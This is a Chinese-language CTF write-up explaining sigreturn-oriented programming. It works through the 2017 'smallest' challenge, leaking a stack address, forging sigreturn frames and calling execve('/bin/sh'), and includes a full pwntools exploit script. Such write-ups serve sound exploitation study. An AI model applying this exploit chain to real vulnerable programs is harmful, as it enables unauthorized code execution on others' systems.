序
最近做了几道 srop 的题,记录下相关知识,顺带复现一道经典例题。
原理
能进行 srop attack 这种攻击的关键就是 Signal 机制,网上有很多对这个机制的剖析,包括 wiki,都很详细,没必要再细说。
这里只作最简单的概述:在 Linux 中,当进程接收到一个信号时,内核会暂停进程的执行,并执行信号处理程序,例如 ‘sigaction’,其中会将当前程序的上下文信息(所有寄存器的值,返回地址等…)保存到栈上,这一段内存被称为 sigreturn frame。如果信号处理程序执行完毕后需要将控制权还给原始程序,则需要使用 ‘rt_sigreturn’ 系统调用(重点关注这个系统调用)。
(下面都是基于 x64 架构哈… 32位的程序也同理)对应调用 ‘rt_sigreturn’ 的是 15 号系统调用,就是做题中得设法利用的东西(将 rax 的值改成 15 后执行 syscall…),即根据栈上的内容恢复程序上下文。 srop attack 的本质就是通过在栈上伪造一个 sigreturn frame,让程序直接按着我们构造的 frame 去恢复现场,实现重写所有寄存器,这也是一般 rop 做不到的。
360春秋杯_2017_smallest
主要的代码就六行汇编,执行 read 系统调用,实现往栈顶写 0x400 字节。
下面直接开始分析 exp 了,比较绕,尽量讲清楚详细点(不想作图了,我是蓝狗…
start 函数开始的地址是 0x4000B0。每次执行 start 函数都能从栈顶往下写。
程序执行 start 函数,先往栈顶写入 p64(start) *3,这样就能控制程序不退出(程序中只有 ret 指令能影响栈顶指针),且多次从标准输入中读取。
程序返回,第二次执行 start,写入 ‘\xb3’,使得 rax –> 1 (read 函数会将读入的字节数赋值给 rax),改栈上数据的低一字节,即 0x4000B0 --> 0x4000B3,使得程序返回到 0x4000B3,跳过 ‘xor rax,rax’,使 rax 保持为1。
程序返回,第三次执行 <start + 0x3>,因为此时 rax == 0,所以这时调用 syscall 将会执行 write(1, &rsp, 0x400),将会泄露栈上的数据(作用是为了能在后面布置新的 rsp 和计算我们写入的 ‘/bin/sh’ 的位置)。如图,泄了一个合法的栈地址 stack_addr,以及,rax == 1,确实执行了 write 的系统调用。
程序返回,第四次执行 start,写入: 程序下一跳的返回地址 p64(start) + 占位符 p64(0) + 构造的 frame,目的是让程序能继续跳回 start,并往栈中塞入第一个伪造的 frame (姑且称作read_frame,有什么效果 在下面讲)。
程序返回,第五次执行 start,写入 p64(syscall) + ‘\x00’ *(15 - 8),这时 rax 的值也变成了15。
下一跳,执行 syscall,进行 ‘rt_sigreturn’ 通过 read_frame 的数据来重新布置寄存器,效果如下:
- rax --> 0, rdi --> 0, rsi --> stack_addr, rdx -->0x400, rip --> syscall, rsp --> stack_addr
- 解释一下,程序下一跳将会执行 read(0, stack_addr, 0x400) + 控制栈顶指针指向stack_addr。
下一跳,执行 read 的系统调用。我们接着写入:下一跳的返回地址 p64(start) + 占位符 p64(0) + 构造的 frame + ‘/bin/sh\x00’ (总共 0x110 字节,划重点,等会考)。
程序返回,第六次执行 start,写入 p64(syscall) + ‘\x00’ *(15 - 8),这时 rax 的值又变成了15。
下一跳,执行 syscall,进行 ‘rt_sigreturn’ 通过 read_frame 的数据来重新布置寄存器,效果如下:
1.rdi --> stack_addr + 0x110 - 0x8, 指向的当然是之前写入的 ‘/bin/sh\x00’ 了,它在刚刚发送的 payload 中的偏移,自然是等于 payload的总长度 - 字符串本身长度 了。
2.rax --> 59, rsi --> 0, rdx --> 0, rip --> syscall (很明显了吧,execve(‘/bin/sh\x00’, 0, 0)
下一跳,执行 syscall,自然就是 getshell 了。
exp 如下:
#coding=utf-8
from pwn import *
context.log_level = 'debug'
context.arch = "amd64"
elf = './smallest'
p = process(elf)
def debug():
gdb.attach(p)
pause()
# 写入三个 start 起始地址
start = 0x4000b0
syscall = 0x4000be
payload = p64(start) *3
sleep(0.1)
p.send(payload)
# 将下一跳的返回地址改写为0x4000b3 跳过'xor rax,rax' 使rax保持为1
# debug()
sleep(0.1)
p.send("\xb3")
# 接收 程序执行write系统调用泄露的栈上数据
stack_addr = u64(p.recv()[8:16])
log.info("stack_addr: " + hex(stack_addr))
# 得到一个栈地址后 让rsp指向此栈地址
# read_frame 代表 read(0,stack_addr,0x400)
#-----------------------------------------
read_frame = SigreturnFrame(kernel="amd64")
read_frame.rax = constants.SYS_read
read_frame.rdi = 0x0
read_frame.rsi = stack_addr
read_frame.rdx = 0x400
read_frame.rsp = stack_addr
read_frame.rip = syscall
#-----------------------------------------
read_frame_payload = p64(start)
read_frame_payload += p64(0)
read_frame_payload += str(read_frame)
sleep(0.1)
p.send(read_frame_payload)
# 通过控制写入的字符数量,调用sigreturn
# debug()
goto_sigreturn_payload = p64(syscall) + "\x00"*(15 - 8) # rax=15,syscall --> sigreturn
sleep(0.1)
p.send(goto_sigreturn_payload)
# execve_frame
# call execv("/bin/sh",0,0)
#-----------------------------------------
execve_frame = SigreturnFrame(kernel="amd64")
execve_frame.rax = constants.SYS_execve
execve_frame.rdi = stack_addr + 0x110 - 0x8 # "/bin/sh\x00" addr
execve_frame.rsi = 0x0
execve_frame.rdx = 0x0
execve_frame.rsp = stack_addr
execve_frame.rip = syscall
#-----------------------------------------
execve_frame_payload = p64(start)
execve_frame_payload += p64(0)
execve_frame_payload += str(execve_frame)
execve_frame_payload += "/bin/sh\x00"
# 查看 payload 长度,方便计算 'bin/sh\x00' 的相对偏移
log.info("offset: " + hex(len(execve_frame_payload)))
sleep(0.1)
p.send(execve_frame_payload)
sleep(0.1)
p.send(goto_sigreturn_payload)
p.interactive()
一些废话
很多师傅都发现了这么一个问题,我们为了使 rax=15,填充了 7个’\x00’ 在后面,有的 exp 用 ‘a’ 填充,肯定影响到了我们在下面的构造的 frame,但也确实是都能通的。对比下 frame 的结构表和 SigreturnFrame 这个工具的官方文档就明白了,那个位置对应的其实是 ‘uc_flags’,确实瞎改这个也没出啥大问题(程序没 dump 就行…),主要也没影响到后面我们想控制的寄存器的值。
至于是用 ‘\x00’ 还是 ‘a’ 来填充… 其实我们在重写寄存器后,他们都不是原来的值了,毕竟没有保留原现场,我们不知道本来是什么,我们做的只是直接利用伪造的 frame “恢复现场”罢了。
看了这个视频之后理的,感谢师傅,讲得很深刻。
SROP技术探讨 | PWN_哔哩哔哩_bilibili